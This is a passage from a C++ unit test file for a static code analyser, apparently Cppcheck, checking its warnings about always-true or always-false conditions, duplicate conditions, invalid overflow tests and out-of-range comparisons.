{\\n\"\n \" if (bUpdated)\\n\"\n \" return 1;\\n\"\n \" bUpdated = true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" bUpdated = false;\\n\"\n \" }\\n\"\n \" while (bUpdated);\\n\"\n \" return Ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" bool bFirst = true;\\n\"\n \" do {\\n\"\n \" if (bFirst)\\n\"\n \" bar();\\n\"\n \" if (baz())\\n\"\n \" break; \\n\"\n \" bFirst = false;\\n\"\n \" } while (true);\\n\"\n \" return bFirst;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void * pool = NULL;\\n\"\n \" do {\\n\"\n \" pool = malloc(40);\\n\"\n \" if (dostuff())\\n\"\n \" break;\\n\"\n \" pool = NULL;\\n\"\n \" }\\n\"\n \" while (0);\\n\"\n \" if (pool) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8499\n check(\"void f(void)\\n\"\n \"{\\n\"\n \" for (int i = 0; i < 2; ++i)\\n\"\n \" {\\n\"\n \" for (int j = 0; j < 8; ++j)\\n\"\n \" {\\n\"\n \" if ( (i==0|| i==1)\\n\" // << always true\n \" && (j==0) )\\n\"\n \" {;}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:20] -> [test.cpp:7:27]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10863\n check(\"void f(const int A[], int Len) {\\n\"\n \" if (Len <= 0)\\n\"\n \" return;\\n\"\n \" int I = 0;\\n\"\n \" while (I < Len) {\\n\"\n \" int K = I + 1;\\n\"\n \" for (; K < Len; K++) {\\n\"\n \" if (A[I] != A[K])\\n\"\n \" break;\\n\"\n \" } \\n\"\n \" I = K; \\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11434\n \" const int N = 5;\\n\"\n \" bool a[N];\\n\"\n \" for (int i = 0; i < N; a[i++] = false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8192\n \" for (int i = 0; i > 10; ++i) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (style) Condition 'i>10' is always false\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int i = 1000; i < 20; ++i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Condition 'i<20' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int foo(int foo, int bar, bool baz, bool flag) {\\n\"\n \" if (baz && flag) {\\n\"\n \" do {\\n\"\n \" if (bar==42)\\n\"\n \" return 0;\\n\"\n \" } while (flag);\\n\"\n \" }\\n\"\n \" return foo;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:6:18]: (style) Condition 'flag' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueTryCatch()\n {\n check(\"void g();\\n\"\n \"void f(int x)\\n\"\n \"{\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \" catch(...) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" g();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void h();\\n\"\n \"void f(int x) {\\n\"\n \" if( x ) {\\n\"\n \" try {\\n\"\n \" g();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" catch( ... ) {}\\n\"\n \" }\\n\"\n \" h();\\n\"\n \" if( x ) {\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10701\n \" std::string s;\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" s = g();\\n\"\n \" }\\n\"\n \" catch (const Err& err) {}\\n\"\n \" }\\n\"\n \" catch (const std::exception& e) {}\\n\"\n \" if (s != \\\"abc\\\") {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void multiConditionAlwaysTrue() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if (val > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val > 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if (val < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Condition 'activate' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) Condition 'foo' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6904\n check(\"void f() {\\n\"\n \" const int b[2] = { 1,0 };\\n\"\n \" if(b[1] == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'b[1]==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9878\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && b){;}\\n\"\n \" else if (!a && b){;}\\n\"\n \" else if (!a && !b){;}\\n\"\n \" else {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateCondition() {\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:3:8]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:10]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) {}\\n\"\n \" if(x != 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if(x) {}\\n\"\n \" g();\\n\"\n \" if(x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if(x == 1) { x++; }\\n\"\n \" if(x == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8996\n check(\"void g(int** v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" int* d[] = {&a, &b};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9311\n check(\"struct c {\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(struct c* v);\\n\"\n \"void f() {\\n\"\n \" int a = 0;\\n\"\n \" int b = 0;\\n\"\n \" struct c d[] = {{&a}, {&b}};\\n\"\n \" g(d);\\n\"\n \" if (a) {}\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8993\n check(\"void f(const std::string& x) {\\n\"\n \" auto y = x;\\n\"\n \" if (x.empty()) y = \\\"1\\\";\\n\"\n \" if (y.empty()) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9106\n check(\"struct A {int b;};\\n\"\n \"void f(A a, int c) {\\n\"\n \" if (a.b) a.b = c;\\n\"\n \" if (a.b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void c();\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" c();\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" a = 2;\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" void b() const {\\n\"\n \" return a == 1;\\n\"\n \" }\\n\"\n \" void d() {\\n\"\n \" if(b()) {\\n\"\n \" }\\n\"\n \" if (b()) {\\n\"\n \" a = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:9:14]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\",\n errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" auto g = [&] { b = !a; };\\n\"\n \" if (b)\\n\"\n \" g();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool& a);\\n\"\n \"void f(bool b) {\\n\"\n \" auto h = std::bind(&g, std::ref(b));\\n\"\n \" if (b)\\n\"\n \" h();\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *i) {\\n\"\n \" if (*i == 0) {\\n\"\n \" *i = 1;\\n\"\n \" }\\n\"\n \" if (*i == 0) {\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(std::function);\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto x = [&v] { v.push_back(1); };\\n\"\n \" if(v.empty()) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \" if(v.empty())\\n\"\n \" return;\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(const S& s) {\\n\"\n \" int a = 0, b = 0;\\n\"\n \" if (s.i == 0)\\n\"\n \" a = 1;\\n\"\n \" if (s.i == 0)\\n\"\n \" b = 1;\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:13]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"void f(double d) {\\n\" // #12712\n \" if (std::isfinite(d)) {}\\n\"\n \" if (std::isfinite(d)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:22]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #12391\n \"int f(const struct S* a, const struct S* b) {\\n\"\n \" const struct S* p = b;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" if (a->x < p->x) p++;\\n\"\n \" return p->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // do not crash\n check(\"void assign(const MMA& other) {\\n\"\n \" if (mPA.cols != other.mPA.cols || mPA.rows != other.mPA.rows)\\n\"\n \" ;\\n\"\n \" if (other.mPA.cols > 0 && other.mPA.rows > 0)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #11202\n \" float f = 0x1.4p+3;\\n\"\n \" if (f > 10.0) {}\\n\"\n \" if (f < 10.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidTestForOverflow() {\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert((p + x) < p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)= p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Invalid test for overflow '(p+x)>=p'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p > (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p>(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always false. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(char *p, unsigned int x) {\\n\"\n \" assert(p <= (p + x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Invalid test for overflow 'p<=(p+x)'; pointer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always true. [invalidTestForOverflow]\\n\", errout_str());\n\n check(\"void f(signed int x) {\\n\" // unsigned overflow => don't warn\n \" assert(x + 100U < x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // x + c < x\n\n#define MSG(EXPR, RESULT) \"[test.cpp:1:30]: (warning) Invalid test for overflow '\" EXPR \"'; signed integer overflow is undefined behavior. Some mainstream compilers remove such overflow tests when optimising the code and assume it's always \" RESULT \". [invalidTestForOverflow]\\n\"\n\n check(\"int f(int x) { return x + 10 > x; }\");\n ASSERT_EQUALS(MSG(\"x+10>x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x+10>=x\", \"true\"), errout_str());\n\n check(\"int f(int x) { return x + 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x+10 x; }\");\n ASSERT_EQUALS(MSG(\"x-10>x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 >= x; }\");\n ASSERT_EQUALS(MSG(\"x-10>=x\", \"false\"), errout_str());\n\n check(\"int f(int x) { return x - 10 < x; }\");\n ASSERT_EQUALS(MSG(\"x-10 x; }\");\n ASSERT_EQUALS(MSG(\"x+y>x\", \"y>0\"), errout_str());\n\n check(\"int f(int x, int y) { return x + y >= x; }\");\n ASSERT_EQUALS(MSG(\"x+y>=x\", \"y>=0\"), errout_str());\n\n // x - y < x\n check(\"int f(int x, int y) { return x - y < x; }\");\n ASSERT_EQUALS(MSG(\"x-y0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y <= x; }\");\n ASSERT_EQUALS(MSG(\"x-y<=x\", \"y>=0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y > x; }\");\n ASSERT_EQUALS(MSG(\"x-y>x\", \"y<0\"), errout_str());\n\n check(\"int f(int x, int y) { return x - y >= x; }\");\n ASSERT_EQUALS(MSG(\"x-y>=x\", \"y<=0\"), errout_str());\n }\n\n void checkConditionIsAlwaysTrueOrFalseInsideIfWhile() {\n check(\"void f() {\\n\"\n \" enum states {A,B,C};\\n\"\n \" const unsigned g_flags = B|C;\\n\"\n \" if(g_flags & A) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) Condition 'g_flags&A' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" if(a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'a' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { a--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 5;\"\n \" while(a + 1) { return; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (style) Condition 'a+1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void alwaysTrueFalseInLogicalOperators() {\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = true; if(x||b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(true||b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x||f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = false; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { bool x = false; if(x&&b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (style) Condition 'x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(bool b) { if(false&&b) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"void foo() { bool x = true; if(x&&f()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9578\n check(\"bool f(const std::string &s) {\\n\"\n \" return s.size()>2U && s[0]=='4' && s[0]=='2';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:35] -> [test.cpp:2:48]: (style) Return value 's[0]=='2'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) { if (i == 1 || 2) {} }\\n\"); // #12487\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Condition 'i==1||2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"enum E { E1 = 1, E2 = 2 };\\n\"\n \"void f(int i) { if (i == E1 || E2) {} }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (style) Condition 'i==E1||E2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void pointerAdditionResultNotNull() {\n check(\"void f(char *ptr) {\\n\"\n \" if (ptr + 1 != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison is wrong. Result of 'ptr+1' can't be 0 unless there is pointer overflow, and pointer overflow is undefined behaviour. [pointerAdditionResultNotNull]\\n\", errout_str());\n }\n\n void duplicateConditionalAssign() {\n setMultiline();\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The statement 'if (x!=y) x=y' is logically equivalent to 'x=y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y'\\n\"\n \"[test.cpp:2:11]: note: Condition 'x!=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned 